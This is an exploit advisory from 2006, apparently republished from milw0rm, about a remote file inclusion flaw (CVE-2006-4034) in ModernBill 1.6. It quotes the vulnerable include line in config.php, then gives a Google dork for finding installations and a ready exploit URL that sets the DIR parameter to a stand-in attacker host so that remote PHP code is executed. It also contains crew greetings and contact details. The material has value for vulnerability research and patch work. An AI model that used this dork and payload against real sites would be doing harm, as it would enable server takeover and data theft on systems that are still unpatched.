ModernBill 1.6 - 'config.php' Remote File Inclusion

Related Vulnerabilities: CVE-2006-4034  
Publish Date: 07 Aug 2006
Author: Solpot
                #############################SolpotCrew Community################################
#
# modernbill ver 1.6 (DIR) Remote File Inclusion
#
# Download file : http://freshmeat.net/projects/modernbill/
#
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#
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# Bug Found By :Solpot a.k.a (k. Hasibuan) (03-08-2006)
#
# contact: chris_hasibuan@yahoo.com
#
# Website : http://www.solpotcrew.org/adv/solpot-adv-04.txt
#
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# home_edition2001 , Rendy ,Tje , m3lky , no-profile , bYu
# and all crew #mardongan @ irc.dal.net
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Input passed to the "DIR" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by including files from local or external resources.

code from include/html/config.php

//include($DIR."include/misc/mod_sessions/session_functions.inc.php");
#session_set_save_handler("sess_mysql_open","","sess_mysql_read","sess_mysql_write","sess_mysql_destroy","sess_mysql_gc");
//session_start();
session_register("set_language");
session_register("v");
$new_language = ($set_language) ? $set_language : NULL ;
$signup_form = TRUE;
include_once($DIR."include/functions.inc.php");
## ------------------------------------------------------
## DO NOT CHANGE STOP
## ------------------------------------------------------

google dork : allinurl:/modernbill/

exploit: http://somehost/modernbill/include/html/config.php?DIR=http://evilcode

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# milw0rm.com [2006-08-07]